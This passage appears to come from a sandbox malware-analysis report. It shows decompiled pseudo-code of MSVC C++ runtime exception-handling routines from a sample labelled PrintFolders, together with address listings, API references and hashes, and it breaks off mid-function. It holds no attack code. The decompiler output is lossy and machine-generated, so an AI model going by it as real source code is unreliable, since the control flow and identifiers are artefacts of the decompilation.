                                                          										goto L90;
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          						L109:
                                                          						return _t208;
                                                          					}
                                                          				} else {
                                                          					_t274 = _a4;
                                                          					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
                                                          						L22:
                                                          						_t300 = _a12;
                                                          						_v8 = _t300;
                                                          						goto L24;
                                                          					} else {
                                                          						_t319 = 0;
                                                          						if(_t274[0x1c] != 0) {
                                                          							goto L22;
                                                          						} else {
                                                          							_t225 = E00411D96(_t274, _t279, _t300, _t305, 0);
                                                          							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
                                                          								L60:
                                                          								return _t225;
                                                          							} else {
                                                          								_t274 =  *(E00411D96(_t274, _t279, _t300, _t305, 0) + 0x10);
                                                          								_t263 = E00411D96(_t274, _t279, _t300, _t305, 0);
                                                          								_v28 = 1;
                                                          								_v8 =  *((intOrPtr*)(_t263 + 0x14));
                                                          								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
                                                          									goto L66;
                                                          								} else {
                                                          									if( *((intOrPtr*)(E00411D96(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
                                                          										L23:
                                                          										_t300 = _v8;
                                                          										_t279 = _v12;
                                                          										L24:
                                                          										_v52 = _t305;
                                                          										_v48 = 0;
                                                          										__eflags =  *_t274 - 0xe06d7363;
                                                          										if( *_t274 != 0xe06d7363) {
                                                          											L56:
                                                          											__eflags = _t305[3];
                                                          											if(_t305[3] <= 0) {
                                                          												goto L59;
                                                          											} else {
                                                          												__eflags = _a24;
                                                          												if(_a24 != 0) {
                                                          													goto L66;
                                                          												} else {
                                                          													_push(_a32);
                                                          													_push(_a28);
                                                          													_push(_t279);
                                                          													_push(_t305);
                                                          													_push(_a16);
                                                          													_push(_t300);
                                                          													_push(_a8);
                                                          													_push(_t274);
                                                          													L67();
                                                          													_t335 = _t335 + 0x20;
                                                          													goto L59;
                                                          												}
                                                          											}
                                                          										} else {
                                                          											__eflags = _t274[0x10] - 3;
                                                          											if(_t274[0x10] != 3) {
                                                          												goto L56;
                                                          											} else {
                                                          												__eflags = _t274[0x14] - 0x19930520;
                                                          												if(_t274[0x14] == 0x19930520) {
                                                          													L29:
                                                          													_t319 = _a32;
                                                          													__eflags = _t305[3];
                                                          													if(_t305[3] > 0) {
                                                          														_push(_a28);
                                                          														E0040FBBB(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
                                                          														_t300 = _v64;
                                                          														_t335 = _t335 + 0x18;
                                                          														_t250 = _v68;
                                                          														_v44 = _t250;
                                                          														_v16 = _t300;
                                                          														__eflags = _t300 - _v56;
                                                          														if(_t300 < _v56) {
                                                          															_t294 = _t300 * 0x14;
                                                          															__eflags = _t294;
                                                          															_v32 = _t294;
                                                          															do {
                                                          																_t295 = 5;
                                                          																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
                                                          																_t335 = _t335 + 0xc;
                                                          																__eflags = _v104 - _t253;
                                                          																if(_v104 <= _t253) {
                                                          																	__eflags = _t253 - _v100;
                                                          																	if(_t253 <= _v100) {
                                                          																		_t298 = 0;
                                                          																		_v20 = 0;
                                                          																		__eflags = _v92;
                                                          																		if(_v92 != 0) {
                                                          																			_t255 =  *(_t274[0x1c] + 0xc);
                                                          																			_t303 =  *_t255;
                                                          																			_t256 =  &(_t255[1]);
                                                          																			__eflags = _t256;
                                                          																			_v36 = _t256;
                                                          																			_t257 = _v88;
                                                          																			_v40 = _t303;
                                                          																			_v24 = _t257;
                                                          																			do {
                                                          																				asm("movsd");
                                                          																				asm("movsd");
                                                          																				asm("movsd");
                                                          																				asm("movsd");
                                                          																				_t318 = _v36;
                                                          																				_t330 = _t303;
                                                          																				__eflags = _t330;
                                                          																				if(_t330 <= 0) {
                                                          																					goto L40;
                                                          																				} else {
                                                          																					while(1) {
                                                          																						_push(_t274[0x1c]);
                                                          																						_t258 =  &_v84;
                                                          																						_push( *_t318);
                                                          																						_push(_t258);
                                                          																						L86();
                                                          																						_t335 = _t335 + 0xc;
                                                          																						__eflags = _t258;
                                                          																						if(_t258 != 0) {
                                                          																							break;
                                                          																						}
                                                          																						_t330 = _t330 - 1;
                                                          																						_t318 = _t318 + 4;
                                                          																						__eflags = _t330;
                                                          																						if(_t330 > 0) {
                                                          																							continue;
                                                          																						} else {
                                                          																							_t298 = _v20;
                                                          																							_t257 = _v24;
                                                          																							_t303 = _v40;
                                                          																							goto L40;
                                                          																						}
                                                          																						goto L43;
                                                          																					}
                                                          																					_push(_a24);
                                                          																					_push(_v28);
                                                          																					E00412092(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
                                                          																					_t335 = _t335 + 0x30;
                                                          																				}
                                                          																				L43:
                                                          																				_t300 = _v16;
                                                          																				goto L44;
                                                          																				L40:
                                                          																				_t298 = _t298 + 1;
                                                          																				_t257 = _t257 + 0x10;
                                                          																				_v20 = _t298;
                                                          																				_v24 = _t257;
                                                          																				__eflags = _t298 - _v92;
                                                          																			} while (_t298 != _v92);
                                                          																			goto L43;
                                                          																		}
                                                          																	}
                                                          																}
                                                          																L44:
                                                          																_t300 = _t300 + 1;
                                                          																_t250 = _v44;
                                                          																_t294 = _v32 + 0x14;
                                                          																_v16 = _t300;
                                                          																_v32 = _t294;
                                                          																__eflags = _t300 - _v56;
                                                          															} while (_t300 < _v56);
                                                          															_t305 = _a20;
                                                          															_t319 = _a32;
                                                          														}
                                                          													}
                                                          													__eflags = _a24;
                                                          													if(__eflags != 0) {
                                                          														_push(1);
                                                          														E0040FFF3(_t274, _t305, _t319, __eflags);
                                                          														_t279 = _t274;
                                                          													}
                                                          													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
                                                          													if(( *_t305 & 0x1fffffff) < 0x19930521) {
                                                          														L59:
                                                          														_t225 = E00411D96(_t274, _t279, _t300, _t305, _t319);
                                                          														__eflags =  *(_t225 + 0x1c);
                                                          														if( *(_t225 + 0x1c) != 0) {
                                                          															goto L66;
                                                          														} else {
                                                          															goto L60;
                                                          														}
                                                          													} else {
                                                          														__eflags = _t305[7];
                                                          														if(_t305[7] != 0) {
                                                          															L52:
                                                          															_t229 = _t305[8] >> 2;
                                                          															__eflags = _t229 & 0x00000001;
                                                          															if((_t229 & 0x00000001) == 0) {
                                                          																_push(_t305[7]);
                                                          																_t230 = E00412B21(_t274, _t305, _t319, _t274);
                                                          																_pop(_t279);
                                                          																__eflags = _t230;
                                                          																if(_t230 == 0) {
                                                          																	goto L63;
                                                          																} else {
                                                          																	goto L59;
                                                          																}
                                                          															} else {
                                                          																 *(E00411D96(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
                                                          																_t238 = E00411D96(_t274, _t279, _t300, _t305, _t319);
                                                          																_t290 = _v8;
                                                          																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
                                                          																goto L61;
                                                          															}
                                                          														} else {
                                                          															_t245 = _t305[8] >> 2;
                                                          															__eflags = _t245 & 0x00000001;
                                                          															if((_t245 & 0x00000001) == 0) {
                                                          																goto L59;
                                                          															} else {
                                                          																__eflags = _a28;
                                                          																if(_a28 != 0) {
                                                          																	goto L59;
                                                          																} else {
                                                          																	goto L52;
                                                          																}
                                                          															}
                                                          														}
                                                          													}
                                                          												} else {
                                                          													__eflags = _t274[0x14] - 0x19930521;
                                                          													if(_t274[0x14] == 0x19930521) {
                                                          														goto L29;
                                                          													} else {
                                                          														__eflags = _t274[0x14] - 0x19930522;
                                                          														if(_t274[0x14] != 0x19930522) {
                                                          															goto L56;
                                                          														} else {
                                                          															goto L29;
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										_v16 =  *((intOrPtr*)(E00411D96(_t274, _t279, _t300, _t305, _t319) + 0x1c));
                                                          										_t268 = E00411D96(_t274, _t279, _t300, _t305, _t319);
                                                          										_push(_v16);
                                                          										 *(_t268 + 0x1c) = _t319;
                                                          										_t269 = E00412B21(_t274, _t305, _t319, _t274);
                                                          										_pop(_t290);
                                                          										if(_t269 != 0) {
                                                          											goto L23;
                                                          										} else {
                                                          											_t305 = _v16;
                                                          											_t356 =  *_t305 - _t319;
                                                          											if( *_t305 <= _t319) {
                                                          												L61:
                                                          												E0041C70D(_t274, _t290, _t300, _t305, _t319, __eflags);
                                                          											} else {
                                                          												while(1) {
                                                          													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
                                                          													if(E004127B5( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x44fb08) != 0) {
                                                          														goto L62;
                                                          													}
                                                          													_t319 = _t319 + 0x10;
                                                          													_t273 = _v20 + 1;
                                                          													_v20 = _t273;
                                                          													_t356 = _t273 -  *_t305;
                                                          													if(_t273 >=  *_t305) {
                                                          														goto L61;
                                                          													} else {
                                                          														continue;
                                                          													}
                                                          													goto L62;
                                                          												}
                                                          											}
                                                          											L62:
                                                          											_push(1);
                                                          											_push(_t274);
                                                          											E0040FFF3(_t274, _t305, _t319, __eflags);
                                                          											_t279 =  &_v64;
                                                          											E0041279D( &_v64);
                                                          											E0041044B( &_v64, 0x43b934);
                                                          											L63:
                                                          											 *(E00411D96(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
                                                          											_t232 = E00411D96(_t274, _t279, _t300, _t305, _t319);
                                                          											_t279 = _v8;
                                                          											 *(_t232 + 0x14) = _v8;
                                                          											__eflags = _t319;
                                                          											if(_t319 == 0) {
                                                          												_t319 = _a8;
                                                          											}
                                                          											E0040FDAE(_t279, _t319, _t274);
                                                          											E00412A21(_a8, _a16, _t305);
                                                          											_t235 = E00412BDE(_t305);
                                                          											_t335 = _t335 + 0x10;
                                                          											_push(_t235);
                                                          											E00412998(_t274, _t279, _t300, _t305, _t319, __eflags);
                                                          											goto L66;
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          			}























































































                                                          0x00412112
                                                          0x00412119
                                                          0x0041211b
                                                          0x00412124
                                                          0x0041212a
                                                          0x00412132
                                                          0x00412134
                                                          0x00412137
                                                          0x0041213d
                                                          0x004124b6
                                                          0x004124b6
                                                          0x004124bb
                                                          0x004124bd
                                                          0x004124bf
                                                          0x004124c2
                                                          0x004124c3
                                                          0x004124c6
                                                          0x004124cc
                                                          0x004125eb
                                                          0x004124d2
                                                          0x004124d4
                                                          0x004124db
                                                          0x004124de
                                                          0x004124e1
                                                          0x004124e7
                                                          0x004124e9
                                                          0x004124ee
                                                          0x004124f1
                                                          0x004124f3
                                                          0x004124f9
                                                          0x004124fb
                                                          0x00412501
                                                          0x00412516
                                                          0x0041251b
                                                          0x0041251e
                                                          0x00412520
                                                          0x004125e7
                                                          0x00000000
                                                          0x004125e8
                                                          0x00412520
                                                          0x00412501
                                                          0x004124f9
                                                          0x004124f1
                                                          0x00412526
                                                          0x00412529
                                                          0x0041252c
                                                          0x0041252f
                                                          0x00412532
                                                          0x00412538
                                                          0x0041254a
                                                          0x0041254f
                                                          0x00412552
                                                          0x00412555
                                                          0x00412558
                                                          0x0041255b
                                                          0x0041255e
                                                          0x00412561
                                                          0x00000000
                                                          0x00000000
                                                          0x00412567
                                                          0x00412567
                                                          0x0041256a
                                                          0x0041256d
                                                          0x0041257c
                                                          0x0041257d
                                                          0x0041257d
                                                          0x0041257f
                                                          0x00412582
                                                          0x00000000
                                                          0x00000000
                                                          0x00412584
                                                          0x00412587
                                                          0x00000000
                                                          0x00000000
                                                          0x00412595
                                                          0x00412597
                                                          0x0041259a
                                                          0x0041259c
                                                          0x004125a4
                                                          0x004125a4
                                                          0x004125a7
                                                          0x004125a9
                                                          0x004125ab
                                                          0x004125c7
                                                          0x004125cc
                                                          0x004125cf
                                                          0x004125cf
                                                          0x00000000
                                                          0x004125a7
                                                          0x0041259e
                                                          0x004125a2
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004125d2
                                                          0x004125d5
                                                          0x004125d6
                                                          0x004125d9
                                                          0x004125dc
                                                          0x004125df
                                                          0x004125e2
                                                          0x004125e2
                                                          0x00000000
                                                          0x0041256d
                                                          0x004125ec
                                                          0x004125f1
                                                          0x004125f2
                                                          0x004125f5
                                                          0x004125f8
                                                          0x004125f9
                                                          0x004125fa
                                                          0x004125fb
                                                          0x004125fe
                                                          0x00412600
                                                          0x00412678
                                                          0x0041267a
                                                          0x0041267a
                                                          0x00412602
                                                          0x00412602
                                                          0x00412605
                                                          0x00412608
                                                          0x00000000
                                                          0x0041260a
                                                          0x0041260a
                                                          0x0041260d
                                                          0x00412610
                                                          0x00412617
                                                          0x00412617
                                                          0x0041261a
                                                          0x0041261c
                                                          0x0041261e
                                                          0x00412650
                                                          0x00412650
                                                          0x00412653
                                                          0x0041265a
                                                          0x0041265a
                                                          0x0041265d
                                                          0x00412660
                                                          0x00412667
                                                          0x00412667
                                                          0x0041266a
                                                          0x00412671
                                                          0x00412673
                                                          0x00412673
                                                          0x0041266c
                                                          0x0041266c
                                                          0x0041266f
                                                          0x00000000
                                                          0x00000000
                                                          0x0041266f
                                                          0x00412662
                                                          0x00412662
                                                          0x00412665
                                                          0x00000000
                                                          0x00000000
                                                          0x00412665
                                                          0x00412655
                                                          0x00412655
                                                          0x00412658
                                                          0x00000000
                                                          0x00000000
                                                          0x00412658
                                                          0x00412674
                                                          0x00412620
                                                          0x00412620
                                                          0x00412620
                                                          0x00412623
                                                          0x00412623
                                                          0x00412625
                                                          0x00412627
                                                          0x00000000
                                                          0x00000000
                                                          0x00412629
                                                          0x0041262b
                                                          0x0041263f
                                                          0x0041263f
                                                          0x0041262d
                                                          0x0041262d
                                                          0x00412630
                                                          0x00412633
                                                          0x00000000
                                                          0x00412635
                                                          0x00412635
                                                          0x00412638
                                                          0x0041263b
                                                          0x0041263d
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041263d
                                                          0x00412633
                                                          0x00412648
                                                          0x00412648
                                                          0x0041264a
                                                          0x00000000
                                                          0x0041264c
                                                          0x0041264c
                                                          0x0041264c
                                                          0x00000000
                                                          0x0041264a
                                                          0x00412643
                                                          0x00412645
                                                          0x00412645
                                                          0x00000000
                                                          0x00412645
                                                          0x00412612
                                                          0x00412612
                                                          0x00412615
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00412615
                                                          0x00412610
                                                          0x00412608
                                                          0x0041267b
                                                          0x0041267f
                                                          0x0041267f
                                                          0x0041214c
                                                          0x0041214c
                                                          0x00412155
                                                          0x00412252
                                                          0x00412252
                                                          0x00412255
                                                          0x00000000
                                                          0x00412184
                                                          0x00412184
                                                          0x00412189
                                                          0x00000000
                                                          0x0041218f
                                                          0x0041218f
                                                          0x00412197
                                                          0x00412450
                                                          0x00412454
                                                          0x0041219d
                                                          0x004121a2
                                                          0x004121a5
                                                          0x004121aa
                                                          0x004121b1
                                                          0x004121b6
                                                          0x00000000
                                                          0x004121ee
                                                          0x004121f6
                                                          0x0041225a
                                                          0x0041225a
                                                          0x0041225d
                                                          0x00412260
                                                          0x00412262
                                                          0x00412265
                                                          0x00412268
                                                          0x0041226e
                                                          0x0041241f
                                                          0x0041241f
                                                          0x00412422
                                                          0x00000000
                                                          0x00412424
                                                          0x00412424
                                                          0x00412427
                                                          0x00000000
                                                          0x0041242d
                                                          0x0041242d
                                                          0x00412430
                                                          0x00412433
                                                          0x00412434
                                                          0x00412435
                                                          0x00412438
                                                          0x00412439
                                                          0x0041243c
                                                          0x0041243d
                                                          0x00412442
                                                          0x00000000
                                                          0x00412442
                                                          0x00412427
                                                          0x00412274
                                                          0x00412274
                                                          0x00412278
                                                          0x00000000
                                                          0x0041227e
                                                          0x0041227e
                                                          0x00412285
                                                          0x0041229d
                                                          0x0041229d
                                                          0x004122a0
                                                          0x004122a3
                                                          0x004122a9
                                                          0x004122b9
                                                          0x004122be
                                                          0x004122c1
                                                          0x004122c4
                                                          0x004122c7
                                                          0x004122ca
                                                          0x004122cd
                                                          0x004122d0
                                                          0x004122d6
                                                          0x004122d6
                                                          0x004122d9
                                                          0x004122dc
                                                          0x004122eb
                                                          0x004122ec
                                                          0x004122ec
                                                          0x004122ee
                                                          0x004122f1
                                                          0x004122f7
                                                          0x004122fa
                                                          0x00412300
                                                          0x00412302
                                                          0x00412305
                                                          0x00412308
                                                          0x00412311
                                                          0x00412314
                                                          0x00412316
                                                          0x00412316
                                                          0x00412319
                                                          0x0041231c
                                                          0x0041231f
                                                          0x00412322
                                                          0x00412325
                                                          0x0041232a
                                                          0x0041232b
                                                          0x0041232c
                                                          0x0041232d
                                                          0x0041232e
                                                          0x00412331
                                                          0x00412333
                                                          0x00412335
                                                          0x00000000
                                                          0x00412337
                                                          0x00412337
                                                          0x00412337
                                                          0x0041233a
                                                          0x0041233d
                                                          0x0041233f
                                                          0x00412340
                                                          0x00412345
                                                          0x00412348
                                                          0x0041234a
                                                          0x00000000
                                                          0x00000000
                                                          0x0041234c
                                                          0x0041234d
                                                          0x00412350
                                                          0x00412352
                                                          0x00000000
                                                          0x00412354
                                                          0x00412354
                                                          0x00412357
                                                          0x0041235a
                                                          0x00000000
                                                          0x0041235a
                                                          0x00000000
                                                          0x00412352
                                                          0x0041236e
                                                          0x00412374
                                                          0x00412391
                                                          0x00412396
                                                          0x00412396
                                                          0x00412399
                                                          0x00412399
                                                          0x00000000
                                                          0x0041235d
                                                          0x0041235d
                                                          0x0041235e
                                                          0x00412361
                                                          0x00412364
                                                          0x00412367
                                                          0x00412367
                                                          0x00000000
                                                          0x0041236c
                                                          0x00412308
                                                          0x004122fa
                                                          0x0041239c
                                                          0x0041239f
                                                          0x004123a0
                                                          0x004123a3
                                                          0x004123a6
                                                          0x004123a9
                                                          0x004123ac
                                                          0x004123ac
                                                          0x004123b5
                                                          0x004123b8
                                                          0x004123b8
                                                          0x004122d0
                                                          0x004123bb
                                                          0x004123bf
                                                          0x004123c1
                                                          0x004123c4
                                                          0x004123ca
                                                          0x004123ca
                                                          0x004123d2
                                                          0x004123d7
                                                          0x00412445
                                                          0x00412445
                                                          0x0041244a
                                                          0x0041244e
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004123d9
                                                          0x004123d9
                                                          0x004123dd
                                                          0x004123ef
                                                          0x004123f2
                                                          0x004123f5
                                                          0x004123f7
                                                          0x0041240e
                                                          0x00412412
                                                          0x00412418
                                                          0x00412419
                                                          0x0041241b
                                                          0x00000000
                                                          0x0041241d
                                                          0x00000000
                                                          0x0041241d
                                                          0x004123f9
                                                          0x004123fe
                                                          0x00412401
                                                          0x00412406
                                                          0x00412409
                                                          0x00000000
                                                          0x00412409
                                                          0x004123df
                                                          0x004123e2
                                                          0x004123e5
                                                          0x004123e7
                                                          0x00000000
                                                          0x004123e9
                                                          0x004123e9
                                                          0x004123ed
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004123ed
                                                          0x004123e7
                                                          0x004123dd
                                                          0x00412287
                                                          0x00412287
                                                          0x0041228e
                                                          0x00000000
                                                          0x00412290
                                                          0x00412290
                                                          0x00412297
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00412297
                                                          0x0041228e
                                                          0x00412285
                                                          0x00412278
                                                          0x004121f8
                                                          0x00412200
                                                          0x00412203
                                                          0x00412208
                                                          0x0041220c
                                                          0x0041220f
                                                          0x00412215
                                                          0x00412218
                                                          0x00000000
                                                          0x0041221a
                                                          0x0041221a
                                                          0x0041221d
                                                          0x0041221f
                                                          0x00412455
                                                          0x00412455
                                                          0x00000000
                                                          0x00412225
                                                          0x0041222d
                                                          0x00412238
                                                          0x00000000
                                                          0x00000000
                                                          0x00412241
                                                          0x00412244
                                                          0x00412245
                                                          0x00412248
                                                          0x0041224a
                                                          0x00000000
                                                          0x00412250
                                                          0x00000000
                                                          0x00412250
                                                          0x00000000
                                                          0x0041224a
                                                          0x00412225
                                                          0x0041245a
                                                          0x0041245a
                                                          0x0041245c
                                                          0x0041245d
                                                          0x00412464
                                                          0x00412467
                                                          0x00412475
                                                          0x0041247a
                                                          0x0041247f
                                                          0x00412482
                                                          0x00412487
                                                          0x0041248a
                                                          0x0041248d
                                                          0x0041248f
                                                          0x00412491
                                                          0x00412491
                                                          0x00412496
                                                          0x004124a2
                                                          0x004124a8
                                                          0x004124ad
                                                          0x004124b0
                                                          0x004124b1
                                                          0x00000000
                                                          0x004124b1
                                                          0x00412218
                                                          0x004121f6
                                                          0x004121b6
                                                          0x00412197
                                                          0x00412189
                                                          0x00412155

                                                          APIs
                                                          • IsInExceptionSpec.LIBVCRUNTIME ref: 0041220F
                                                          • type_info::operator==.LIBVCRUNTIME ref: 00412231
                                                          • ___TypeMatch.LIBVCRUNTIME ref: 00412340
                                                          • IsInExceptionSpec.LIBVCRUNTIME ref: 00412412
                                                          • _UnwindNestedFrames.LIBCMT ref: 00412496
                                                          • CallUnexpected.LIBVCRUNTIME ref: 004124B1
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
                                                          • String ID: csm$csm$csm
                                                          • API String ID: 2123188842-393685449
                                                          • Opcode ID: d5dfb756700b109f77bad092a4cf65170d38a92c2de80a3b210a90049ee47108
                                                          • Instruction ID: 21aa7bd5de75da7cd703e37400f2b4a3502758b12b2b00924095f405172d1fb9
                                                          • Opcode Fuzzy Hash: d5dfb756700b109f77bad092a4cf65170d38a92c2de80a3b210a90049ee47108
                                                          • Instruction Fuzzy Hash: 4CB1A031800219EFCF15DFA5DA819EEB7B5FF18314B10405BE914AB311D7B8EAA1CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 63%
                                                          			E10004C21(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
                                                          				signed char* _v0;
                                                          				signed int _v8;
                                                          				signed int _v12;
                                                          				signed int _v16;
                                                          				signed int _v20;
                                                          				intOrPtr _v24;
                                                          				char _v28;
                                                          				signed int _v32;
                                                          				signed int _v36;
                                                          				signed int _v40;
                                                          				signed int _v44;
                                                          				intOrPtr _v48;
                                                          				signed int _v52;
                                                          				intOrPtr _v56;
                                                          				intOrPtr _v60;
                                                          				void _v64;
                                                          				signed int _v68;
                                                          				char _v84;
                                                          				intOrPtr _v88;
                                                          				signed int _v92;
                                                          				intOrPtr _v100;
                                                          				void _v104;
                                                          				intOrPtr* _v112;
                                                          				signed char* _v184;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				void* _t202;
                                                          				signed int _t203;
                                                          				char _t204;
                                                          				signed int _t206;
                                                          				signed int _t208;
                                                          				signed char* _t209;
                                                          				signed int _t210;
                                                          				signed int _t211;
                                                          				signed int _t215;
                                                          				void* _t218;
                                                          				signed char* _t221;
                                                          				void* _t223;
                                                          				void* _t225;
                                                          				signed char _t229;
                                                          				signed int _t230;
                                                          				void* _t232;
                                                          				void* _t235;
                                                          				void* _t238;
                                                          				signed char _t245;
                                                          				signed int _t250;
                                                          				void* _t253;
                                                          				signed int* _t255;
                                                          				signed int _t256;
                                                          				intOrPtr _t257;
                                                          				signed int _t258;
                                                          				void* _t263;
                                                          				void* _t268;
                                                          				void* _t269;
                                                          				signed int _t273;
                                                          				signed char* _t274;
                                                          				intOrPtr* _t275;
                                                          				signed char _t276;
                                                          				signed int _t277;
                                                          				signed int _t278;
                                                          				intOrPtr* _t280;
                                                          				signed int _t281;
                                                          				signed int _t282;
                                                          				signed int _t287;
                                                          				signed int _t294;
                                                          				signed int _t295;
                                                          				signed int _t298;
                                                          				signed int _t300;
                                                          				signed char* _t301;
                                                          				signed int _t302;
                                                          				signed int _t303;
                                                          				signed int* _t305;
                                                          				signed char* _t308;
                                                          				signed int _t318;
                                                          				signed int _t319;
                                                          				signed int _t321;
                                                          				signed int _t330;
                                                          				void* _t332;
                                                          				void* _t334;
                                                          				void* _t335;
                                                          				void* _t336;
                                                          				void* _t337;
                                                          
                                                          				_t300 = __edx;
                                                          				_push(_t319);
                                                          				_t305 = _a20;
                                                          				_v20 = 0;
                                                          				_v28 = 0;
                                                          				_t279 = E10005B88(_a8, _a16, _t305);
                                                          				_t335 = _t334 + 0xc;
                                                          				_v12 = _t279;
                                                          				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
                                                          					L66:
                                                          					_t202 = E100076E4(_t274, _t279, _t300, _t305, _t319);
                                                          					asm("int3");
                                                          					_t332 = _t335;
                                                          					_t336 = _t335 - 0x38;
                                                          					_push(_t274);
                                                          					_t275 = _v112;
                                                          					__eflags =  *_t275 - 0x80000003;
                                                          					if( *_t275 == 0x80000003) {
                                                          						return _t202;
                                                          					} else {
                                                          						_push(_t319);
                                                          						_push(_t305);
                                                          						_t203 = E100048DC(_t275, _t279, _t300, _t305, _t319);
                                                          						__eflags =  *(_t203 + 8);
                                                          						if( *(_t203 + 8) != 0) {
                                                          							__imp__EncodePointer(0);
                                                          							_t319 = _t203;
                                                          							_t223 = E100048DC(_t275, _t279, _t300, 0, _t319);
                                                          							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
                                                          							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
                                                          								__eflags =  *_t275 - 0xe0434f4d;
                                                          								if( *_t275 != 0xe0434f4d) {
                                                          									__eflags =  *_t275 - 0xe0434352;
                                                          									if( *_t275 != 0xe0434352) {
                                                          										_t215 = E10003F46(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
                                                          										_t336 = _t336 + 0x1c;
                                                          										__eflags = _t215;
                                                          										if(_t215 != 0) {
                                                          											L83:
                                                          											return _t215;
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          						_t204 = _a16;
                                                          						_v28 = _t204;
                                                          						_v24 = 0;
                                                          						__eflags =  *(_t204 + 0xc);
                                                          						if( *(_t204 + 0xc) > 0) {
                                                          							_push(_a24);
                                                          							E10003E79(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
                                                          							_t302 = _v40;
                                                          							_t337 = _t336 + 0x18;
                                                          							_t215 = _v44;
                                                          							_v20 = _t215;
                                                          							_v12 = _t302;
                                                          							__eflags = _t302 - _v32;
                                                          							if(_t302 >= _v32) {
                                                          								goto L83;
                                                          							}
                                                          							_t281 = _t302 * 0x14;
                                                          							__eflags = _t281;
                                                          							_v16 = _t281;
                                                          							do {
                                                          								_t282 = 5;
                                                          								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
                                                          								_t337 = _t337 + 0xc;
                                                          								__eflags = _v64 - _t218;
                                                          								if(_v64 > _t218) {
                                                          									goto L82;
                                                          								}
                                                          								__eflags = _t218 - _v60;
                                                          								if(_t218 > _v60) {
                                                          									goto L82;
                                                          								}
                                                          								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
                                                          								_t287 = _t221[4];
                                                          								__eflags = _t287;
                                                          								if(_t287 == 0) {
                                                          									L80:
                                                          									__eflags =  *_t221 & 0x00000040;
                                                          									if(( *_t221 & 0x00000040) == 0) {
                                                          										_push(0);
                                                          										_push(1);
                                                          										E10004BA1(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
                                                          										_t302 = _v12;
                                                          										_t337 = _t337 + 0x30;
                                                          									}
                                                          									goto L82;
                                                          								}
                                                          								__eflags =  *((char*)(_t287 + 8));
                                                          								if( *((char*)(_t287 + 8)) != 0) {
                                                          									goto L82;
                                                          								}
                                                          								goto L80;
                                                          								L82:
                                                          								_t302 = _t302 + 1;
                                                          								_t215 = _v20;
                                                          								_t281 = _v16 + 0x14;
                                                          								_v12 = _t302;
                                                          								_v16 = _t281;
                                                          								__eflags = _t302 - _v32;
                                                          							} while (_t302 < _v32);
                                                          							goto L83;
                                                          						}
                                                          						E100076E4(_t275, _t279, _t300, 0, _t319);
                                                          						asm("int3");
                                                          						_push(_t332);
                                                          						_t301 = _v184;
                                                          						_push(_t275);
                                                          						_push(_t319);
                                                          						_push(0);
                                                          						_t206 = _t301[4];
                                                          						__eflags = _t206;
                                                          						if(_t206 == 0) {
                                                          							L108:
                                                          							_t208 = 1;
                                                          							__eflags = 1;
                                                          						} else {
                                                          							_t280 = _t206 + 8;
                                                          							__eflags =  *_t280;
                                                          							if( *_t280 == 0) {
                                                          								goto L108;
                                                          							} else {
                                                          								__eflags =  *_t301 & 0x00000080;
                                                          								_t308 = _v0;
                                                          								if(( *_t301 & 0x00000080) == 0) {
                                                          									L90:
                                                          									_t276 = _t308[4];
                                                          									_t321 = 0;
                                                          									__eflags = _t206 - _t276;
                                                          									if(_t206 == _t276) {
                                                          										L100:
                                                          										__eflags =  *_t308 & 0x00000002;
                                                          										if(( *_t308 & 0x00000002) == 0) {
